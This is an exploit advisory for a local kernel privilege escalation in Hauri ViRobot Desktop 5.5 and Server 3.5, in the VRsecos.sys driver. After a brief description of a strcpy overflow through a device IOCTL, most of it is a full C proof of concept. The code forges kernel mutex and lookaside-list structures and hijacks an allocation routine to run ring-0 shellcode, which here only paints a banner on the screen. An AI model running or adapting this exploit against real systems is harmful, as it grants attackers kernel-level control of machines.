400 lines
No EOL
12 KiB
Text
400 lines
No EOL
12 KiB
Text
Hauri
|
|
ViRobot Desktop 5.5 & ViRobot Server 3.5 VRsecos.sys <=2008.8.1.1 Local Kernel Mode Privilege Escalation Vulnerability
|
|
|
|
|
|
AUTHOR
|
|
MJ0011
|
|
|
|
EMAIL
|
|
th_decoder$126.com
|
|
|
|
VULNERABLE PRODUCTS
|
|
Hauri ViRobot Desktop 5.5 and below
|
|
Hauri ViRobot Server 3.5 and below
|
|
|
|
DETAILS:
|
|
VRsecos.sys create a device called "VRsecos" , and handles DeviceIoControl Code = 0x8307202c , which use the function "strcpy" to copy memory from irp systembuffer to driver's data area , can be overwrite critical kernel object memory in vrsecos.sys ' s data area
|
|
|
|
|
|
EXPLOIT CODE: (Test On Windows XP SP3 , only for vrsecos.sys == 2008.8.1.1)
|
|
\
|
|
// virobot0day.cpp : Defines the entry point for the console application.
|
|
//
|
|
#include "stdafx.h"
|
|
#include "windows.h"
|
|
#include "malloc.h"
|
|
typedef struct X_DISPATCHER_HEADER{
|
|
UCHAR Type ;
|
|
UCHAR Absolute ;
|
|
UCHAR Size ;
|
|
UCHAR Inserted ;
|
|
ULONG SignalState ;
|
|
LIST_ENTRY WaitListHead ;
|
|
}X_DISPATCHER_HEADER , *PX_DISPATCHER_HEADER;
|
|
typedef struct X_KMUTANT{
|
|
X_DISPATCHER_HEADER Header ;
|
|
LIST_ENTRY MutantListEntry ;
|
|
PVOID OwnerThread ;
|
|
UCHAR Abandoned ;
|
|
UCHAR ApcDisable ;
|
|
}X_KMUTANT , *PX_KMUTANT;
|
|
PVOID GetInfoTable(ULONG ATableType)
|
|
{
|
|
ULONG mSize = 0x4000;
|
|
PVOID mPtr = NULL;
|
|
LONG status;
|
|
HMODULE hlib = GetModuleHandle("ntdll.dll");
|
|
PVOID pZwQuerySystemInformation = GetProcAddress(hlib , "ZwQuerySystemInformation");
|
|
|
|
do
|
|
{
|
|
mPtr = malloc(mSize);
|
|
if (mPtr)
|
|
{
|
|
__asm
|
|
{
|
|
push 0
|
|
push mSize
|
|
push mPtr
|
|
push ATableType
|
|
call pZwQuerySystemInformation
|
|
mov status , eax
|
|
}
|
|
}
|
|
else
|
|
{
|
|
return NULL;
|
|
}
|
|
if (status == 0xc0000004)
|
|
{
|
|
free(mPtr);
|
|
mSize = mSize * 2;
|
|
}
|
|
} while (status == 0xc0000004);
|
|
if (status == 0)
|
|
{
|
|
return mPtr;
|
|
}
|
|
free(mPtr);
|
|
return NULL;
|
|
}
|
|
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
|
|
USHORT UniqueProcessId;
|
|
USHORT CreatorBackTraceIndex;
|
|
UCHAR ObjectTypeIndex;
|
|
UCHAR HandleAttributes;
|
|
USHORT HandleValue;
|
|
PVOID Object;
|
|
ULONG GrantedAccess;
|
|
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
|
|
typedef struct _SYSTEM_HANDLE_INFORMATION {
|
|
ULONG NumberOfHandles;
|
|
SYSTEM_HANDLE_TABLE_ENTRY_INFO Information[ 1 ];
|
|
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
|
|
enum { SystemModuleInformation = 11,
|
|
SystemHandleInformation = 16 };
|
|
typedef struct {
|
|
ULONG Unknown1;
|
|
ULONG Unknown2;
|
|
PVOID Base;
|
|
ULONG Size;
|
|
ULONG Flags;
|
|
USHORT Index;
|
|
USHORT NameLength;
|
|
USHORT LoadCount;
|
|
USHORT PathLength;
|
|
CHAR ImageName[256];
|
|
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
|
|
typedef struct {
|
|
ULONG Count;
|
|
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
|
|
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
|
typedef VOID (WINAPI *PINBV_ACQUIRE_DISPLAY_OWNERSHIP)(VOID);
|
|
typedef BOOLEAN (WINAPI *PINBV_RESET_DISPLAY)(VOID);
|
|
typedef VOID (WINAPI *PINBV_SOLID_COLOR_FILL)(
|
|
ULONG x1,
|
|
ULONG y1,
|
|
ULONG x2,
|
|
ULONG y2,
|
|
ULONG color
|
|
);
|
|
typedef ULONG (WINAPI *PINBV_SET_TEXT_COLOR)(
|
|
ULONG Color
|
|
);
|
|
typedef
|
|
VOID
|
|
(*INBV_DISPLAY_STRING_FILTER)(
|
|
PUCHAR *Str
|
|
);
|
|
typedef VOID (WINAPI *PINBV_INSTALL_DISPLAY_STRING_FILTER)(
|
|
INBV_DISPLAY_STRING_FILTER DisplayStringFilter
|
|
);
|
|
typedef BOOLEAN (WINAPI *PINBV_ENABLE_DISPLAY_STRING)(
|
|
BOOLEAN bEnable
|
|
);
|
|
typedef VOID (WINAPI *PINVB_SET_SCROLL_REGION)(
|
|
ULONG x1,
|
|
ULONG y1,
|
|
ULONG x2,
|
|
ULONG y2
|
|
);
|
|
typedef VOID (WINAPI *PINBV_DISPLAY_STRING)(
|
|
PUCHAR Str
|
|
);
|
|
PINBV_ACQUIRE_DISPLAY_OWNERSHIP InbvAcquireDisplayOwnership = 0 ;
|
|
PINBV_RESET_DISPLAY InbvResetDisplay = 0 ;
|
|
PINBV_SOLID_COLOR_FILL InbvSolidColorFill = 0 ;
|
|
PINBV_SET_TEXT_COLOR InbvSetTextColor = 0 ;
|
|
PINBV_INSTALL_DISPLAY_STRING_FILTER InbvInstallDisplayStringFilter = 0 ;
|
|
PINBV_ENABLE_DISPLAY_STRING InbvEnableDisplayString = 0 ;
|
|
PINVB_SET_SCROLL_REGION InbvSetScrollRegion = 0 ;
|
|
PINBV_DISPLAY_STRING InbvDisplayString= 0 ;
|
|
#define VGA_COLOR_BLACK 0
|
|
#define VGA_COLOR_RED 1
|
|
#define VGA_COLOR_GREEN 2
|
|
#define VGA_COLOR_GR 3
|
|
#define VGA_COLOR_BULE 4
|
|
#define VGA_COLOR_DARK_MEGAENTA 5
|
|
#define VGA_COLOR_TURQUOISE 6
|
|
#define VGA_COLOR_GRAY 7
|
|
#define VGA_COLOR_BRIGHT_GRAY 8
|
|
#define VGA_COLOR_BRIGHT_RED 9
|
|
#define VGA_COLOR_BRIGHT_GREEN 10
|
|
#define VGA_COLOR_BRIGHT_YELLOW 11
|
|
#define VGA_COLOR_BRIGHT_BULE 12
|
|
#define VGA_COLOR_BRIGHT_PURPLE 13
|
|
#define VGA_COLOR_BRIGHT_TURQUOISE 14
|
|
#define VGA_COLOR_WHITE 15
|
|
UCHAR DisplayString[] =
|
|
" "
|
|
|
|
" "
|
|
|
|
" "
|
|
|
|
" ---- ===== EXPLOIT SUCCESSFULLY ==== ---- "
|
|
|
|
" "
|
|
|
|
" "
|
|
|
|
" ViRobot Desktop 5.5 & ViRobot Server 3.5 Local Privilege Escalation Exploit "
|
|
|
|
" "
|
|
|
|
" VULNERABLE PRODUCT "
|
|
|
|
" "
|
|
|
|
" ViRobot Desktop 5.5 and below "
|
|
|
|
" ViRobot Server 3.5 and below "
|
|
|
|
" "
|
|
|
|
" VULERABLE FILE "
|
|
|
|
" VRsecos.sys <= 2008.8.1.1 "
|
|
|
|
" "
|
|
|
|
" AUTHOR "
|
|
|
|
" "
|
|
|
|
" MJ0011 "
|
|
|
|
" th_decoder$126.com "
|
|
|
|
" "
|
|
|
|
" 2010-8-22 "
|
|
|
|
" "
|
|
|
|
" "
|
|
|
|
" ";
|
|
|
|
VOID InbvShellCode()
|
|
{
|
|
//DISABLE INTERRUPT
|
|
__asm
|
|
{
|
|
cli
|
|
}
|
|
//RESET TO VGA MODE
|
|
InbvAcquireDisplayOwnership();
|
|
InbvResetDisplay();
|
|
//FILL FULL SCREEN
|
|
InbvSolidColorFill(0 , 0 , 639 , 479 ,VGA_COLOR_BLACK);
|
|
//SET TEXT COLOR
|
|
InbvSetTextColor(VGA_COLOR_BRIGHT_GREEN);
|
|
InbvInstallDisplayStringFilter(NULL);
|
|
InbvEnableDisplayString(TRUE);
|
|
InbvSetScrollRegion( 0 , 0 , 639 ,477);
|
|
InbvDisplayString(DisplayString);
|
|
while(TRUE)
|
|
{
|
|
};
|
|
}
|
|
BOOL InbvInit(PVOID ntosbase , PSTR ntosname)
|
|
{
|
|
HMODULE hlib = LoadLibrary(ntosname);
|
|
if (hlib == NULL)
|
|
{
|
|
return FALSE ;
|
|
}
|
|
InbvAcquireDisplayOwnership = (PINBV_ACQUIRE_DISPLAY_OWNERSHIP)((ULONG)GetProcAddress(hlib , "InbvAcquireDisplayOwnership") - (ULONG)hlib + (ULONG)ntosbase);
|
|
|
|
InbvResetDisplay = (PINBV_RESET_DISPLAY)((ULONG)GetProcAddress(hlib , "InbvResetDisplay") - (ULONG)hlib + (ULONG)ntosbase);
|
|
|
|
InbvSolidColorFill = (PINBV_SOLID_COLOR_FILL)((ULONG)GetProcAddress(hlib , "InbvSolidColorFill") - (ULONG)hlib + (ULONG)ntosbase);
|
|
|
|
InbvSetTextColor = (PINBV_SET_TEXT_COLOR)((ULONG)GetProcAddress(hlib , "InbvSetTextColor") - (ULONG)hlib + (ULONG)ntosbase);
|
|
|
|
InbvInstallDisplayStringFilter = (PINBV_INSTALL_DISPLAY_STRING_FILTER)((ULONG)GetProcAddress(hlib , "InbvInstallDisplayStringFilter") - (ULONG)hlib + (ULONG)ntosbase);
|
|
|
|
InbvEnableDisplayString = (PINBV_ENABLE_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvEnableDisplayString") - (ULONG)hlib + (ULONG)ntosbase);
|
|
|
|
InbvSetScrollRegion = (PINVB_SET_SCROLL_REGION)((ULONG)GetProcAddress(hlib , "InbvSetScrollRegion") - (ULONG)hlib + (ULONG)ntosbase);
|
|
|
|
InbvDisplayString = (PINBV_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvDisplayString") - (ULONG)hlib + (ULONG)ntosbase);
|
|
|
|
if (InbvAcquireDisplayOwnership &&
|
|
InbvResetDisplay &&
|
|
InbvSolidColorFill &&
|
|
InbvSetTextColor &&
|
|
InbvInstallDisplayStringFilter &&
|
|
InbvEnableDisplayString &&
|
|
InbvSetScrollRegion &&
|
|
InbvDisplayString)
|
|
{
|
|
return TRUE ;
|
|
}
|
|
return FALSE ;
|
|
}
|
|
int main(int argc, char* argv[])
|
|
{
|
|
printf("ViRotbot Desktop 5.5 & ViRobot Server 3.5 vrsecos.sys <= 2008.8.1.1\n"
|
|
"Local Kernel Mode Privilege Escalation Vulnerability POC\n\n"
|
|
"This Exploit Code Only for vrsecos == 2008.8.1.1\n"
|
|
"Test On Windows XP SP3\n\n"
|
|
"By MJ0011 th_decoder$126.com\n\n"
|
|
"Press Enter\n");
|
|
getchar();
|
|
HANDLE hDev = CreateFile("\\\\.\\VRsecos" , FILE_READ_ATTRIBUTES , FILE_SHARE_READ , 0 , OPEN_EXISTING , 0 , 0 );
|
|
|
|
if (hDev == INVALID_HANDLE_VALUE)
|
|
{
|
|
printf("cannot open device....%u\n" , GetLastError());
|
|
//return 0;
|
|
}
|
|
//data for IoControlCode = 8307202C , buffer overrun
|
|
PVOID pdata = malloc(0x2000);
|
|
//fill non-zero data
|
|
memset(pdata , 0x20 , 0x2000);
|
|
//process mutx ...
|
|
PX_KMUTANT pmutant = (PX_KMUTANT)((ULONG)pdata + 0x858 + 200);
|
|
HANDLE hthread = OpenThread(THREAD_ALL_ACCESS , FALSE , GetCurrentThreadId());
|
|
PSYSTEM_HANDLE_INFORMATION phi = (PSYSTEM_HANDLE_INFORMATION)GetInfoTable(SystemHandleInformation);
|
|
|
|
PSYSTEM_MODULE_INFORMATION pmi = (PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation);
|
|
|
|
//get base address of vrsecos.sys
|
|
PVOID vrsecosbase = 0 ;
|
|
ULONG i ;
|
|
for (i = 0 ; i < pmi->Count ; i ++)
|
|
{
|
|
if (stricmp((PCHAR)(pmi->Module[i].ImageName + strlen(pmi->Module[i].ImageName ) - strlen("vrsecos.sys")) ,
|
|
|
|
"vrsecos.sys") == 0 )
|
|
{
|
|
vrsecosbase = pmi->Module[i].Base;
|
|
break ;
|
|
}
|
|
}
|
|
if (vrsecosbase == 0 )
|
|
{
|
|
printf("cannot find vrsecos....\n");
|
|
//return 0 ;
|
|
}
|
|
if (!InbvInit(pmi->Module[0].Base , strrchr(pmi->Module[0].ImageName , '\\')+1))
|
|
{
|
|
printf("cannot init inbv system\n");
|
|
return 0 ;
|
|
}
|
|
//get thread object
|
|
PVOID MyThreadOBJ = NULL ;
|
|
for (i = 0 ; i < phi->NumberOfHandles ; i ++)
|
|
{
|
|
if (phi->Information[i].HandleValue == (USHORT)hthread &&
|
|
phi->Information[i].UniqueProcessId == (USHORT)GetCurrentProcessId())
|
|
{
|
|
MyThreadOBJ = phi->Information[i].Object;
|
|
break ;
|
|
}
|
|
}
|
|
if (MyThreadOBJ == NULL)
|
|
{
|
|
printf("cannot find my thread object\n");
|
|
return 0 ;
|
|
}
|
|
//for KeWaitForSignleObject
|
|
//KeWaitForSignleObject will check SignalState
|
|
pmutant->Header.SignalState = 0x30303030;
|
|
pmutant->MutantListEntry.Flink = (PLIST_ENTRY)((ULONG)vrsecosbase + 0x2db0 );
|
|
pmutant->MutantListEntry.Blink = (PLIST_ENTRY)((ULONG)vrsecosbase + 0x2db0) ;
|
|
//for KeReleaseMutex , Mutant 's owner thread must be our thread when KeReleaseMutex
|
|
|
|
pmutant->OwnerThread = MyThreadOBJ;
|
|
//for IOCTL CODE 0x83072014
|
|
//spec NPAGED_LOOKASIDE_LIST List
|
|
//
|
|
// user address space
|
|
PVOID pAlloc = VirtualAlloc((PVOID)0x0A0A0A0A , 0x1000 , MEM_RESERVE|MEM_COMMIT , PAGE_READWRITE);
|
|
|
|
if (pAlloc == NULL)
|
|
{
|
|
printf("cannot allocate spec addr %u\n! ", GetLastError());
|
|
return 0 ;
|
|
}
|
|
*(DWORD*)0x0a0a0101 = 0 ;
|
|
// vrsecos+2d68 < vrsecos+2d64
|
|
// and vrsecos+2d68 < 0
|
|
*(DWORD*)((ULONG)pdata + 0x81c +200) = 0xc1c1c1c1 ;
|
|
*(DWORD*)((ULONG)pdata + 0x820 + 200) = 0xc0c0c0c0 ;
|
|
//fill NPAGED_LOOKASIDE_LIST
|
|
*(DWORD*)((ULONG)pdata + 0xdd8 + 200) = 0x0a0a0101;
|
|
*(DWORD*)((ULONG)pdata + 0xddc +200 ) = 0x01010101 ;
|
|
//fill NPAGE_LOOKASIDE_LIST->AllocateRoutine
|
|
//is our R0 Shell Code !!!
|
|
*(DWORD*)((ULONG)pdata + 0xdd8 + 0x28 +200 ) = (DWORD)InbvShellCode;
|
|
ULONG btr ;
|
|
ULONG temp;
|
|
//memory overflow!!
|
|
if (!DeviceIoControl(hDev , 0x8307202c , pdata , 0x1000 , NULL , 0 , &btr , NULL ))
|
|
|
|
{
|
|
printf("dev ctl 1 failed %u\n", GetLastError());
|
|
return 0 ;
|
|
}
|
|
PVOID pdata2 = malloc(0x6d4);
|
|
*(DWORD*)pdata2 = 1;
|
|
*(ULONG*)((ULONG)pdata2 + 8 ) = 0 ;
|
|
strcpy((PCHAR)((ULONG)pdata2 + 264) , "exploit you !");
|
|
strcpy((PCHAR)((ULONG)pdata2 + 464) , "exploit you !!");
|
|
//first time , NPAGED_LOOKASIDE_LIST got ZERO !!
|
|
if (!DeviceIoControl(hDev , 0x83072014 , pdata2 , 1748 , &temp , 4 , &btr , 0 ))
|
|
{
|
|
printf("dev ctrl 2 failed %u\n", GetLastError());
|
|
return 0 ;
|
|
}
|
|
//second time , go NPAGED_LOOKASIDE_LIST->AllocateRoutine!!
|
|
if (!DeviceIoControl(hDev , 0x83072014 , pdata2 , 1748 , &temp , 4 , &btr , 0 ))
|
|
{
|
|
printf("dev ctrl 2 failed %u\n", GetLastError());
|
|
return 0 ;
|
|
}
|
|
return 0 ;
|
|
} |